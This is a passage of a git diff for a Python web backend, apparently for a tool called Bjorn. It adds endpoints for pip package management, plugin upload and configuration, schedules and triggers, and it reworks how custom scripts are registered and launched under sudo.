packages} + except Exception as e: + self.logger.error(f"list_packages error: {e}") + return {"status": "error", "message": str(e)} + + def uninstall_package(self, data: Dict) -> Dict: + """Uninstall a pip package and remove from DB.""" + try: + name = data.get("name") + if not name: + return {"status": "error", "message": "name is required"} + if not _VALID_PACKAGE_NAME.match(name): + return {"status": "error", "message": "Invalid package name"} + + result = subprocess.run( + ["pip", "uninstall", "-y", name], + capture_output=True, text=True, timeout=120, + ) + if result.returncode != 0: + return {"status": "error", "message": result.stderr.strip() or "Uninstall failed"} + + self.shared_data.db.remove_package(name) + return {"status": "success", "message": f"Package '{name}' uninstalled"} + except subprocess.TimeoutExpired: + return {"status": "error", "message": "Uninstall timed out"} + except Exception as e: + self.logger.error(f"uninstall_package error: {e}") + return {"status": "error", "message": str(e)} + + # ========================================================================= + # SSE ENDPOINT + # ========================================================================= + + def install_package(self, handler): + """Stream pip install output as SSE events (GET endpoint).""" + from urllib.parse import parse_qs, urlparse + query = parse_qs(urlparse(handler.path).query) + name = query.get("name", [""])[0].strip() + + # Validate + if not name: + handler.send_response(400) + handler.send_header("Content-Type", "application/json") + handler.end_headers() + handler.wfile.write(json.dumps({"status": "error", "message": "name is required"}).encode("utf-8")) + return + if not _VALID_PACKAGE_NAME.match(name): + handler.send_response(400) + handler.send_header("Content-Type", "application/json") + handler.end_headers() + handler.wfile.write(json.dumps({"status": "error", "message": "Invalid package name"}).encode("utf-8")) + return + + max_lifetime = 300 # 5 minutes maximum + start_time = time.time() + process = None + try: + handler.send_response(200) + handler.send_header("Content-Type", "text/event-stream") + handler.send_header("Cache-Control", "no-cache") + handler.send_header("Connection", "keep-alive") + handler.send_header("Access-Control-Allow-Origin", "*") + handler.end_headers() + + process = subprocess.Popen( + ["pip", "install", "--break-system-packages", name], + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + text=True, + bufsize=1, + ) + + for line in process.stdout: + if time.time() - start_time > max_lifetime: + self.logger.warning("install_package SSE stream reached max lifetime") + break + + payload = json.dumps({"line": line.rstrip(), "done": False}) + try: + handler.wfile.write(f"data: {payload}\n\n".encode("utf-8")) + handler.wfile.flush() + except (ConnectionResetError, ConnectionAbortedError, BrokenPipeError, OSError): + self.logger.info("Client disconnected during package install") + break + + process.wait(timeout=30) + success = process.returncode == 0 + + # Get version on success + version = "" + if success: + try: + show = subprocess.run( + ["pip", "show", name], + capture_output=True, text=True, timeout=15, + ) + for show_line in show.stdout.splitlines(): + if show_line.startswith("Version:"): + version = show_line.split(":", 1)[1].strip() + break + except Exception: + pass + + # Record in DB + self.shared_data.db.add_package(name, version) + + payload = json.dumps({"line": "", "done": True, "success": success, "version": version}) + try: + handler.wfile.write(f"data: {payload}\n\n".encode("utf-8")) + handler.wfile.flush() + except (ConnectionResetError, ConnectionAbortedError, BrokenPipeError, OSError): + pass + + except (ConnectionResetError, ConnectionAbortedError, BrokenPipeError): + self.logger.info("Client disconnected from package install SSE stream") + except Exception as e: + self.logger.error(f"install_package SSE error: {e}") + try: + payload = json.dumps({"line": f"Error: {e}", "done": True, "success": False, "version": ""}) + handler.wfile.write(f"data: {payload}\n\n".encode("utf-8")) + handler.wfile.flush() + except Exception: + pass + finally: + if process: + try: + if process.stdout and not process.stdout.closed: + process.stdout.close() + if process.poll() is None: + process.terminate() + try: + process.wait(timeout=5) + except subprocess.TimeoutExpired: + process.kill() + process.wait() + except Exception: + pass + self.logger.info("Package install SSE stream closed") diff --git a/web_utils/plugin_utils.py b/web_utils/plugin_utils.py new file mode 100644 index 0000000..1f21ae0 --- /dev/null +++ b/web_utils/plugin_utils.py @@ -0,0 +1,226 @@ +"""plugin_utils.py - Plugin management web API endpoints.""" + +import json +import logging +from urllib.parse import parse_qs, urlparse + +from logger import Logger + +logger = Logger(name="plugin_utils", level=logging.DEBUG) + + +class PluginUtils: + """Web API handlers for plugin management.""" + + def __init__(self, shared_data): + self.shared_data = shared_data + + @property + def _mgr(self): + return getattr(self.shared_data, 'plugin_manager', None) + + def _write_json(self, handler, data, status=200): + payload = json.dumps(data, ensure_ascii=False).encode("utf-8") + handler.send_response(status) + handler.send_header("Content-Type", "application/json; charset=utf-8") + handler.send_header("Content-Length", str(len(payload))) + handler.end_headers() + try: + handler.wfile.write(payload) + except (BrokenPipeError, ConnectionResetError): + pass + + # ── GET endpoints ──────────────────────────────────────────────── + + def list_plugins(self, handler): + """GET /api/plugins/list - All plugins with status.""" + try: + mgr = self._mgr + if not mgr: + self._write_json(handler, {"status": "ok", "data": []}) + return + + plugins = mgr.get_all_status() + self._write_json(handler, {"status": "ok", "data": plugins}) + except Exception as e: + logger.error(f"list_plugins failed: {e}") + self._write_json(handler, {"status": "error", "message": "Internal server error"}, 500) + + def get_plugin_config(self, handler): + """GET /api/plugins/config?id= - Config schema + current values.""" + try: + query = urlparse(handler.path).query + params = parse_qs(query) + plugin_id = params.get("id", [None])[0] + + if not plugin_id: + self._write_json(handler, {"status": "error", "message": "Missing 'id' parameter"}, 400) + return + + mgr = self._mgr + if not mgr: + self._write_json(handler, {"status": "error", "message": "Plugin manager not available"}, 503) + return + + # Get metadata for schema + meta = mgr._meta.get(plugin_id) + if not meta: + # Try to load from DB + db_rec = self.shared_data.db.get_plugin_config(plugin_id) + if db_rec: + meta = db_rec.get("meta", {}) + else: + self._write_json(handler, {"status": "error", "message": "Plugin not found"}, 404) + return + + schema = meta.get("config_schema", {}) + current_values = mgr.get_config(plugin_id) + + self._write_json(handler, { + "status": "ok", + "plugin_id": plugin_id, + "schema": schema, + "values": current_values, + }) + except Exception as e: + logger.error(f"get_plugin_config failed: {e}") + self._write_json(handler, {"status": "error", "message": "Internal server error"}, 500) + + def get_plugin_logs(self, handler): + """GET /api/plugins/logs?id= - Recent log lines (placeholder).""" + try: + query = urlparse(handler.path).query + params = parse_qs(query) + plugin_id = params.get("id", [None])[0] + + if not plugin_id: + self._write_json(handler, {"status": "error", "message": "Missing 'id' parameter"}, 400) + return + + # For now, return empty — full log filtering can be added later + # by filtering the main log file for [plugin.] entries + self._write_json(handler, { + "status": "ok", + "plugin_id": plugin_id, + "logs": [], + "message": "Log filtering available via console SSE with [plugin.{id}] prefix" + }) + except Exception as e: + logger.error(f"get_plugin_logs failed: {e}") + self._write_json(handler, {"status": "error", "message": "Internal server error"}, 500) + + # ── POST endpoints (JSON body) ─────────────────────────────────── + + def toggle_plugin(self, data: dict) -> dict: + """POST /api/plugins/toggle - {id, enabled}""" + try: + plugin_id = data.get("id") + enabled = data.get("enabled") + + if not plugin_id: + return {"status": "error", "message": "Missing 'id' parameter"} + if enabled is None: + return {"status": "error", "message": "Missing 'enabled' parameter"} + + mgr = self._mgr + if not mgr: + return {"status": "error", "message": "Plugin manager not available"} + + mgr.toggle_plugin(plugin_id, bool(int(enabled))) + + return { + "status": "ok", + "plugin_id": plugin_id, + "enabled": bool(int(enabled)), + } + except Exception as e: + logger.error(f"toggle_plugin failed: {e}") + return {"status": "error", "message": "Internal server error"} + + def save_config(self, data: dict) -> dict: + """POST /api/plugins/config - {id, config: {...}}""" + try: + plugin_id = data.get("id") + config = data.get("config") + + if not plugin_id: + return {"status": "error", "message": "Missing 'id' parameter"} + if config is None or not isinstance(config, dict): + return {"status": "error", "message": "Missing or invalid 'config' parameter"} + + mgr = self._mgr + if not mgr: + return {"status": "error", "message": "Plugin manager not available"} + + mgr.save_config(plugin_id, config) + + return {"status": "ok", "plugin_id": plugin_id} + except ValueError as e: + return {"status": "error", "message": str(e)} + except Exception as e: + logger.error(f"save_config failed: {e}") + return {"status": "error", "message": "Internal server error"} + + def uninstall_plugin(self, data: dict) -> dict: + """POST /api/plugins/uninstall - {id}""" + try: + plugin_id = data.get("id") + if not plugin_id: + return {"status": "error", "message": "Missing 'id' parameter"} + + mgr = self._mgr + if not mgr: + return {"status": "error", "message": "Plugin manager not available"} + + return mgr.uninstall(plugin_id) + except Exception as e: + logger.error(f"uninstall_plugin failed: {e}") + return {"status": "error", "message": "Internal server error"} + + # ── MULTIPART endpoints ────────────────────────────────────────── + + def install_plugin(self, handler): + """POST /api/plugins/install - multipart upload of .zip""" + try: + mgr = self._mgr + if not mgr: + self._write_json(handler, {"status": "error", "message": "Plugin manager not available"}, 503) + return + + content_type = handler.headers.get('Content-Type', '') + content_length = int(handler.headers.get('Content-Length', 0)) + + if content_length <= 0 or content_length > 10 * 1024 * 1024: # 10MB max + self._write_json(handler, {"status": "error", "message": "Invalid file size (max 10MB)"}, 400) + return + + body = handler.rfile.read(content_length) + + # Extract zip bytes from multipart form data + zip_bytes = None + if 'multipart' in content_type: + boundary = content_type.split('boundary=')[1].encode() if 'boundary=' in content_type else None + if boundary: + parts = body.split(b'--' + boundary) + for part in parts: + if b'filename=' in part and b'.zip' in part.lower(): + # Extract file data after double CRLF + if b'\r\n\r\n' in part: + zip_bytes = part.split(b'\r\n\r\n', 1)[1].rstrip(b'\r\n--') + break + + if not zip_bytes: + # Maybe raw zip upload (no multipart) + if body[:4] == b'PK\x03\x04': + zip_bytes = body + else: + self._write_json(handler, {"status": "error", "message": "No .zip file found in upload"}, 400) + return + + result = mgr.install_from_zip(zip_bytes) + status_code = 200 if result.get("status") == "ok" else 400 + self._write_json(handler, result, status_code) + + except Exception as e: + logger.error(f"install_plugin failed: {e}") + self._write_json(handler, {"status": "error", "message": "Internal server error"}, 500) diff --git a/web_utils/rl_utils.py b/web_utils/rl_utils.py index 9402f26..4c39f96 100644 --- a/web_utils/rl_utils.py +++ b/web_utils/rl_utils.py @@ -1,3 +1,4 @@ +"""rl_utils.py - Backend utilities for RL/AI dashboard endpoints.""" import json from typing import Any, Dict, List diff --git a/web_utils/schedule_utils.py b/web_utils/schedule_utils.py new file mode 100644 index 0000000..d72780c --- /dev/null +++ b/web_utils/schedule_utils.py @@ -0,0 +1,222 @@ +"""schedule_utils.py - Schedule and trigger management endpoints.""" +from __future__ import annotations +import json +import logging +from typing import Any, Dict + +from logger import Logger + +logger = Logger(name="schedule_utils.py", level=logging.DEBUG) + + +class ScheduleUtils: + """Utilities for schedule and trigger CRUD operations.""" + + def __init__(self, shared_data): + self.logger = logger + self.shared_data = shared_data + + # ========================================================================= + # SCHEDULE ENDPOINTS + # ========================================================================= + + def list_schedules(self, data: Dict) -> Dict: + """Return all schedules.""" + try: + schedules = self.shared_data.db.list_schedules() + return {"status": "success", "data": schedules} + except Exception as e: + self.logger.error(f"list_schedules error: {e}") + return {"status": "error", "message": str(e)} + + def create_schedule(self, data: Dict) -> Dict: + """Create a new schedule entry.""" + try: + script_name = data.get("script_name") + schedule_type = data.get("schedule_type") + + if not script_name: + return {"status": "error", "message": "script_name is required"} + if schedule_type not in ("recurring", "oneshot"): + return {"status": "error", "message": "schedule_type must be 'recurring' or 'oneshot'"} + + interval_seconds = None + run_at = None + + if schedule_type == "recurring": + interval_seconds = data.get("interval_seconds") + if interval_seconds is None: + return {"status": "error", "message": "interval_seconds is required for recurring schedules"} + interval_seconds = int(interval_seconds) + if interval_seconds < 30: + return {"status": "error", "message": "interval_seconds must be at least 30"} + else: + run_at = data.get("run_at") + if not run_at: + return {"status": "error", "message": "run_at is required for oneshot schedules"} + + args = data.get("args", "") + conditions = data.get("conditions") + if conditions and isinstance(conditions, dict): + conditions = json.dumps(conditions) + + new_id = self.shared_data.db.add_schedule( + script_name=script_name, + schedule_type=schedule_type, + interval_seconds=interval_seconds, + run_at=run_at, + args=args, + conditions=conditions, + ) + return {"status": "success", "data": {"id": new_id}, "message": "Schedule created"} + except Exception as e: + self.logger.error(f"create_schedule error: {e}") + return {"status": "error", "message": str(e)} + + def update_schedule(self, data: Dict) -> Dict: + """Update an existing schedule.""" + try: + schedule_id = data.get("id") + if schedule_id is None: + return {"status": "error", "message": "id is required"} + + kwargs = {k: v for k, v in data.items() if k != "id"} + if "conditions" in kwargs and isinstance(kwargs["conditions"], dict): + kwargs["conditions"] = json.dumps(kwargs["conditions"]) + + self.shared_data.db.update_schedule(int(schedule_id), **kwargs) + return {"status": "success", "message": "Schedule updated"} + except Exception as e: + self.logger.error(f"update_schedule error: {e}") + return {"status": "error", "message": str(e)} + + def delete_schedule(self, data: Dict) -> Dict: + """Delete a schedule by id.""" + try: + schedule_id = data.get("id") + if schedule_id is None: + return {"status": "error", "message": "id is required"} + + self.shared_data.db.delete_schedule(int(schedule_id)) + return {"status": "success", "message": "Schedule deleted"} + except Exception as e: + self.logger.error(f"delete_schedule error: {e}") + return {"status": "error", "message": str(e)} + + def toggle_schedule(self, data: Dict) -> Dict: + """Enable or disable a schedule.""" + try: + schedule_id = data.get("id") + enabled = data.get("enabled") + if schedule_id is None: + return {"status": "error", "message": "id is required"} + if enabled is None: + return {"status": "error", "message": "enabled is required"} + + self.shared_data.db.toggle_schedule(int(schedule_id), bool(enabled)) + return {"status": "success", "message": f"Schedule {'enabled' if enabled else 'disabled'}"} + except Exception as e: + self.logger.error(f"toggle_schedule error: {e}") + return {"status": "error", "message": str(e)} + + # ========================================================================= + # TRIGGER ENDPOINTS + # ========================================================================= + + def list_triggers(self, data: Dict) -> Dict: + """Return all triggers.""" + try: + triggers = self.shared_data.db.list_triggers() + return {"status": "success", "data": triggers} + except Exception as e: + self.logger.error(f"list_triggers error: {e}") + return {"status": "error", "message": str(e)} + + def create_trigger(self, data: Dict) -> Dict: + """Create a new trigger entry.""" + try: + script_name = data.get("script_name") + trigger_name = data.get("trigger_name") + conditions = data.get("conditions") + + if not script_name: + return {"status": "error", "message": "script_name is required"} + if not trigger_name: + return {"status": "error", "message": "trigger_name is required"} + if not conditions or not isinstance(conditions, dict): + return {"status": "error", "message": "conditions must be a JSON object"} + + args = data.get("args", "") + cooldown_seconds = int(data.get("cooldown_seconds", 60)) + + new_id = self.shared_data.db.add_trigger( + script_name=script_name, + trigger_name=trigger_name, + conditions=json.dumps(conditions), + args=args, + cooldown_seconds=cooldown_seconds, + ) + return {"status": "success", "data": {"id": new_id}, "message": "Trigger created"} + except Exception as e: + self.logger.error(f"create_trigger error: {e}") + return {"status": "error", "message": str(e)} + + def update_trigger(self, data: Dict) -> Dict: + """Update an existing trigger.""" + try: + trigger_id = data.get("id") + if trigger_id is None: + return {"status": "error", "message": "id is required"} + + kwargs = {k: v for k, v in data.items() if k != "id"} + if "conditions" in kwargs and isinstance(kwargs["conditions"], dict): + kwargs["conditions"] = json.dumps(kwargs["conditions"]) + + self.shared_data.db.update_trigger(int(trigger_id), **kwargs) + return {"status": "success", "message": "Trigger updated"} + except Exception as e: + self.logger.error(f"update_trigger error: {e}") + return {"status": "error", "message": str(e)} + + def delete_trigger(self, data: Dict) -> Dict: + """Delete a trigger by id.""" + try: + trigger_id = data.get("id") + if trigger_id is None: + return {"status": "error", "message": "id is required"} + + self.shared_data.db.delete_trigger(int(trigger_id)) + return {"status": "success", "message": "Trigger deleted"} + except Exception as e: + self.logger.error(f"delete_trigger error: {e}") + return {"status": "error", "message": str(e)} + + def toggle_trigger(self, data: Dict) -> Dict: + """Enable or disable a trigger.""" + try: + trigger_id = data.get("id") + enabled = data.get("enabled") + if trigger_id is None: + return {"status": "error", "message": "id is required"} + if enabled is None: + return {"status": "error", "message": "enabled is required"} + + self.shared_data.db.update_trigger(int(trigger_id), enabled=1 if enabled else 0) + return {"status": "success", "message": f"Trigger {'enabled' if enabled else 'disabled'}"} + except Exception as e: + self.logger.error(f"toggle_trigger error: {e}") + return {"status": "error", "message": str(e)} + + def test_trigger(self, data: Dict) -> Dict: + """Evaluate trigger conditions and return the result.""" + try: + conditions = data.get("conditions") + if not conditions or not isinstance(conditions, dict): + return {"status": "error", "message": "conditions must be a JSON object"} + + from script_scheduler import evaluate_conditions + result = evaluate_conditions(conditions, self.shared_data.db) + return {"status": "success", "data": {"result": result}} + except Exception as e: + self.logger.error(f"test_trigger error: {e}") + return {"status": "error", "message": str(e)} diff --git a/web_utils/script_utils.py b/web_utils/script_utils.py index 01fb8eb..2dc6de0 100644 --- a/web_utils/script_utils.py +++ b/web_utils/script_utils.py @@ -1,8 +1,4 @@ -# web_utils/script_utils.py -""" -Script launcher and execution utilities. -Handles script management, execution, monitoring, and output capture. -""" +"""script_utils.py - Script management, execution, monitoring, and output capture.""" from __future__ import annotations import json import subprocess @@ -97,12 +93,82 @@ import logging from logger import Logger logger = Logger(name="script_utils.py", level=logging.DEBUG) +# AST parse cache: {path: (mtime, format)} - avoids re-parsing on every list_scripts call +_format_cache: dict = {} +_vars_cache: dict = {} +_MAX_CACHE_ENTRIES = 200 + + +def _detect_script_format(script_path: str) -> str: + """Check if a script uses Bjorn action format (has b_class) or is a free script. Cached by mtime.""" + try: + mtime = os.path.getmtime(script_path) + cached = _format_cache.get(script_path) + if cached and cached[0] == mtime: + return cached[1] + except OSError: + return "free" + + fmt = "free" + try: + with open(script_path, "r", encoding="utf-8") as f: + tree = ast.parse(f.read(), filename=script_path) + for node in ast.iter_child_nodes(tree): + if isinstance(node, ast.Assign): + for target in node.targets: + if isinstance(target, ast.Name) and target.id == "b_class": + fmt = "bjorn" + break + if fmt == "bjorn": + break + except Exception: + pass + + if len(_format_cache) >= _MAX_CACHE_ENTRIES: + _format_cache.clear() + _format_cache[script_path] = (mtime, fmt) + return fmt + + +def _extract_module_vars(script_path: str, *var_names: str) -> dict: + """Safely extract module-level variable assignments via AST (no exec). Cached by mtime.""" + try: + mtime = os.path.getmtime(script_path) + cache_key = (script_path, var_names) + cached = _vars_cache.get(cache_key) + if cached and cached[0] == mtime: + return cached[1] + except OSError: + return {} + + result = {} + try: + with open(script_path, "r", encoding="utf-8") as f: + tree = ast.parse(f.read(), filename=script_path) + for node in ast.iter_child_nodes(tree): + if isinstance(node, ast.Assign) and len(node.targets) == 1: + target = node.targets[0] + if isinstance(target, ast.Name) and target.id in var_names: + try: + result[target.id] = ast.literal_eval(node.value) + except Exception: + pass + except Exception: + pass + + if len(_vars_cache) >= _MAX_CACHE_ENTRIES: + _vars_cache.clear() + _vars_cache[cache_key] = (mtime, result) + return result + + class ScriptUtils: """Utilities for script management and execution.""" def __init__(self, shared_data): self.logger = logger self.shared_data = shared_data + self._last_custom_scan = 0.0 def get_script_description(self, script_path: Path) -> str: """Extract description from script comments.""" @@ -126,16 +192,74 @@ class ScriptUtils: self.logger.error(f"Error reading script description: {e}") return "Error reading description" + def _resolve_action_path(self, b_module: str) -> str: + """Resolve filesystem path for an action module (handles custom/ prefix).""" + return os.path.join(self.shared_data.actions_dir, f"{b_module}.py") + + def _auto_register_custom_scripts(self, known_modules: set): + """Scan custom_scripts_dir for .py files not yet in DB. Throttled to once per 30s.""" + now = time.time() + if now - self._last_custom_scan < 30: + return + self._last_custom_scan = now + + custom_dir = self.shared_data.custom_scripts_dir + if not os.path.isdir(custom_dir): + return + for fname in os.listdir(custom_dir): + if not fname.endswith(".py") or fname == "__init__.py": + continue + stem = fname[:-3] + module_key = f"custom/{stem}" + if module_key in known_modules: + continue + # Auto-register + script_path = os.path.join(custom_dir, fname) + fmt = _detect_script_format(script_path) + meta = _extract_module_vars( + script_path, + "b_class", "b_name", "b_description", "b_author", + "b_version", "b_args", "b_tags", "b_examples", "b_icon" + ) + b_class = meta.get("b_class", f"Custom_{stem}") + try: + self.shared_data.db.upsert_simple_action( + b_class=b_class, + b_module=module_key, + b_action="custom", + b_name=meta.get("b_name", stem), + b_description=meta.get("b_description", "Custom script"), + b_author=meta.get("b_author"), + b_version=meta.get("b_version"), + b_icon=meta.get("b_icon"), + b_args=json.dumps(meta["b_args"]) if "b_args" in meta else None, + b_tags=json.dumps(meta["b_tags"]) if "b_tags" in meta else None, + b_examples=json.dumps(meta["b_examples"]) if "b_examples" in meta else None, + b_enabled=1, + b_priority=50, + ) + self.logger.info(f"Auto-registered custom script: {module_key} ({fmt})") + except Exception as e: + self.logger.warning(f"Failed to auto-register {module_key}: {e}") + def list_scripts(self) -> Dict: """List all actions with metadata for the launcher.""" try: actions_out: list[dict] = [] db_actions = self.shared_data.db.list_actions() + # Auto-register untracked custom scripts + known_modules = {(r.get("b_module") or "").strip() for r in db_actions} + self._auto_register_custom_scripts(known_modules) + # Re-query if new scripts were registered + new_known = {(r.get("b_module") or "").strip() for r in self.shared_data.db.list_actions()} + if new_known != known_modules: + db_actions = self.shared_data.db.list_actions() + for row in db_actions: b_class = (row.get("b_class") or "").strip() b_module = (row.get("b_module") or "").strip() - action_path = os.path.join(self.shared_data.actions_dir, f"{b_module}.py") + action_path = self._resolve_action_path(b_module) # Load b_args from DB (priority) db_args_raw = row.get("b_args") @@ -172,31 +296,48 @@ class ScriptUtils: except Exception: b_examples = None - # Enrich from module if available + # Enrich metadata from module file (AST for static fields, exec only for dynamic b_args) try: if os.path.exists(action_path): - spec = importlib.util.spec_from_file_location(b_module, action_path) - module = importlib.util.module_from_spec(spec) - spec.loader.exec_module(module) + # Static metadata via AST (no exec, no sys.modules pollution) + static_vars = _extract_module_vars( + action_path, + "b_name", "b_description", "b_author", "b_version", + "b_icon", "b_docs_url", "b_examples", "b_args" + ) + if static_vars.get("b_name"): b_name = static_vars["b_name"] + if static_vars.get("b_description"): b_description = static_vars["b_description"] + if static_vars.get("b_author"): b_author = static_vars["b_author"] + if static_vars.get("b_version"): b_version = static_vars["b_version"] + if static_vars.get("b_icon"): b_icon = static_vars["b_icon"] + if static_vars.get("b_docs_url"): b_docs_url = static_vars["b_docs_url"] + if static_vars.get("b_examples"): b_examples = static_vars["b_examples"] + if static_vars.get("b_args") and not b_args: + b_args = static_vars["b_args"] - # Dynamic b_args - if hasattr(module, "compute_dynamic_b_args"): - try: - b_args = module.compute_dynamic_b_args(b_args or {}) - except Exception as e: - self.logger.warning(f"compute_dynamic_b_args failed for {b_module}: {e}") + # Only exec module if it has compute_dynamic_b_args (rare) + # Check via simple text search first to avoid unnecessary imports + try: + with open(action_path, "r", encoding="utf-8") as _f: + has_dynamic = "compute_dynamic_b_args" in _f.read() + except Exception: + has_dynamic = False - # Enrich fields - if getattr(module, "b_name", None): b_name = module.b_name - if getattr(module, "b_description", None): b_description = module.b_description - if getattr(module, "b_author", None): b_author = module.b_author - if getattr(module, "b_version", None): b_version = module.b_version - if getattr(module, "b_icon", None): b_icon = module.b_icon - if getattr(module, "b_docs_url", None): b_docs_url = module.b_docs_url - if getattr(module, "b_examples", None): b_examples = module.b_examples + if has_dynamic: + import sys as _sys + spec = importlib.util.spec_from_file_location(f"_tmp_{b_module}", action_path) + module = importlib.util.module_from_spec(spec) + spec.loader.exec_module(module) + if hasattr(module, "compute_dynamic_b_args"): + try: + b_args = module.compute_dynamic_b_args(b_args or {}) + except Exception as e: + self.logger.warning(f"compute_dynamic_b_args failed for {b_module}: {e}") + # Remove from sys.modules to prevent accumulation + _sys.modules.pop(f"_tmp_{b_module}", None) except Exception as e: - self.logger.warning(f"Could not import {b_module} for dynamic/meta: {e}") + self.logger.warning(f"Could not enrich {b_module}: {e}") # Parse tags tags_raw = row.get("b_tags") @@ -218,6 +359,12 @@ class ScriptUtils: # Icon URL icon_url = self._normalize_icon_url(b_icon, b_class) + # Custom script detection + is_custom = b_module.startswith("custom/") + script_format = "" + if is_custom and os.path.exists(action_path): + script_format = _detect_script_format(action_path) + # Build action info action_info = { "name": display_name, @@ -236,6 +383,8 @@ class ScriptUtils: "b_icon": icon_url, "b_docs_url": b_docs_url, "b_examples": b_examples, + "is_custom": is_custom, + "script_format": script_format, "is_running": False, "output": [] } @@ -302,27 +451,36 @@ class ScriptUtils: return {"status": "error", "message": f"Action {script_key} not found"} module_name = action["b_module"] - script_path = os.path.join(self.shared_data.actions_dir, f"{module_name}.py") - + script_path = self._resolve_action_path(module_name) + if not os.path.exists(script_path): return {"status": "error", "message": f"Script file {script_path} not found"} - + + is_custom = module_name.startswith("custom/") + script_format = _detect_script_format(script_path) if is_custom else "bjorn" + # Check if already running with self.shared_data.scripts_lock: if script_path in self.shared_data.running_scripts and \ self.shared_data.running_scripts[script_path].get("is_running", False): return {"status": "error", "message": f"Script {module_name} is already running"} - + # Prepare environment env = dict(os.environ) env["PYTHONUNBUFFERED"] = "1" env["BJORN_EMBEDDED"] = "1" - - # Start process - cmd = ["sudo", "python3", "-u", script_path] + + # Build command based on script format + if script_format == "free": + # Free scripts run directly as standalone Python + cmd = ["sudo", "python3", "-u", script_path] + else: + # Bjorn-format actions go through action_runner (bootstraps shared_data) + runner_path = os.path.join(self.shared_data.current_dir, "action_runner.py") + cmd = ["sudo", "python3", "-u", runner_path, module_name, action["b_class"]] if args: cmd.extend(args.split()) - + process = subprocess.Popen( cmd, stdout=subprocess.PIPE, @@ -330,7 +488,7 @@ class ScriptUtils: bufsize=1, universal_newlines=True, env=env, - cwd=self.shared_data.actions_dir + cwd=self.shared_data.current_dir ) # Store process info @@ -469,40 +627,51 @@ class ScriptUtils: self.logger.error(f"Error getting script output: {e}") return {"status": "error", "message": str(e)} + MAX_OUTPUT_LINES = 2000 + def monitor_script_output(self, script_path: str, process: subprocess.Popen): - """Monitor script output in real-time.""" + """Monitor script output in real-time with bounded buffer.""" try: self.logger.debug(f"Starting output monitoring for: {script_path}") - + while True: line = process.stdout.readline() - + if not line and process.poll() is not None: break - + if line: line = line.rstrip() with self.shared_data.scripts_lock: if script_path in self.shared_data.running_scripts: - self.shared_data.running_scripts[script_path]["output"].append(line) - self.logger.debug(f"[{os.path.basename(script_path)}] {line}") - - # Process ended + output = self.shared_data.running_scripts[script_path]["output"] + output.append(line) + # Cap output to prevent unbounded memory growth + if len(output) > self.MAX_OUTPUT_LINES: + del output[:len(output) - self.MAX_OUTPUT_LINES] + + # Process ended - close stdout FD explicitly + if process.stdout: + process.stdout.close() + return_code = process.poll() with self.shared_data.scripts_lock: if script_path in self.shared_data.running_scripts: info = self.shared_data.running_scripts[script_path] info["process"] = None info["is_running"] = False - + if return_code == 0: info["output"].append("Script completed successfully") else: info["output"].append(f"Script exited with code {return_code}") info["last_error"] = f"Exit code: {return_code}" - + + # Prune old finished entries (keep max 20 historical) + self._prune_finished_scripts() + self.logger.info(f"Script {script_path} finished with code {return_code}") - + except Exception as e: self.logger.error(f"Error monitoring output for {script_path}: {e}") with self.shared_data.scripts_lock: @@ -512,6 +681,29 @@ class ScriptUtils: info["last_error"] = str(e) info["process"] = None info["is_running"] = False + finally: + # Ensure process resources are released + try: + if process.stdout and not process.stdout.closed: + process.stdout.close() + if process.poll() is None: + process.kill() + process.wait() + except Exception: + pass + + def _prune_finished_scripts(self): + """Remove oldest finished script entries to bound memory. Caller must hold scripts_lock.""" + MAX_FINISHED = 20 + finished = [ + (k, v.get("start_time", 0)) + for k, v in self.shared_data.running_scripts.items() + if not v.get("is_running", False) and v.get("process") is None + ] + if len(finished) > MAX_FINISHED: + finished.sort(key=lambda x: x[1]) + for k, _ in finished[:len(finished) - MAX_FINISHED]: + del self.shared_data.running_scripts[k] def upload_script(self, handler) -> None: """Upload a new script file.""" @@ -567,7 +759,7 @@ class ScriptUtils: script_name = data.get('script_name') if not script_name: return {"status": "error", "message": "Missing script_name"} - + rows = self.shared_data.db.query("SELECT * FROM scripts WHERE name=?", (script_name,)) if not rows: return {"status": "error", "message": f"Script '{script_name}' not found in DB"} @@ -593,6 +785,116 @@ class ScriptUtils: self.logger.error(f"Error deleting script: {e}") return {"status": "error", "message": str(e)} + # --- Custom scripts management --- + + def upload_custom_script(self, handler) -> None: + """Upload a custom script to actions/custom/.""" + try: + form = _MultipartForm( + fp=handler.rfile, + headers=handler.headers, + environ={'REQUEST_METHOD': 'POST'} + ) + if 'script_file' not in form: + resp = {"status": "error", "message": "Missing 'script_file'"} + handler.send_response(400) + else: + file_item = form['script_file'] + if not file_item.filename.endswith('.py'): + resp = {"status": "error", "message": "Only .py files allowed"} + handler.send_response(400) + else: + script_name = os.path.basename(file_item.filename) + stem = script_name[:-3] + script_path = Path(self.shared_data.custom_scripts_dir) / script_name + + if script_path.exists(): + resp = {"status": "error", "message": f"Script '{script_name}' already exists. Delete it first."} + handler.send_response(400) + else: + with open(script_path, 'wb') as f: + f.write(file_item.file.read()) + + # Extract metadata via AST (safe, no exec) + fmt = _detect_script_format(str(script_path)) + meta = _extract_module_vars( + str(script_path), + "b_class", "b_name", "b_description", "b_author", + "b_version", "b_args", "b_tags", "b_examples", "b_icon" + ) + + b_class = meta.get("b_class", f"Custom_{stem}") + module_key = f"custom/{stem}" + + self.shared_data.db.upsert_simple_action( + b_class=b_class, + b_module=module_key, + b_action="custom", + b_name=meta.get("b_name", stem), + b_description=meta.get("b_description", "Custom script"), + b_author=meta.get("b_author"), + b_version=meta.get("b_version"), + b_icon=meta.get("b_icon"), + b_args=json.dumps(meta["b_args"]) if "b_args" in meta else None, + b_tags=json.dumps(meta["b_tags"]) if "b_tags" in meta else None, + b_examples=json.dumps(meta["b_examples"]) if "b_examples" in meta else None, + b_enabled=1, + b_priority=50, + ) + + resp = { + "status": "success", + "message": f"Custom script '{script_name}' uploaded ({fmt} format).", + "data": {"b_class": b_class, "b_module": module_key, "format": fmt} + } + handler.send_response(200) + + handler.send_header('Content-Type', 'application/json') + handler.end_headers() + handler.wfile.write(json.dumps(resp).encode('utf-8')) + except Exception as e: + self.logger.error(f"Error uploading custom script: {e}") + handler.send_response(500) + handler.send_header('Content-Type', 'application/json') + handler.end_headers() + handler.wfile.write(json.dumps({"status": "error", "message": str(e)}).encode('utf-8')) + + def delete_custom_script(self, data: Dict) -> Dict: + """Delete a custom script (refuses to delete built-in actions).""" + try: + b_class = data.get("script_name") or data.get("b_class") + if not b_class: + return {"status": "error", "message": "Missing script_name"} + + # Look up in actions table + action = self.shared_data.db.get_action_by_class(b_class) + if not action: + return {"status": "error", "message": f"Action '{b_class}' not found"} + + b_module = action.get("b_module", "") + if action.get("b_action") != "custom" and not b_module.startswith("custom/"): + return 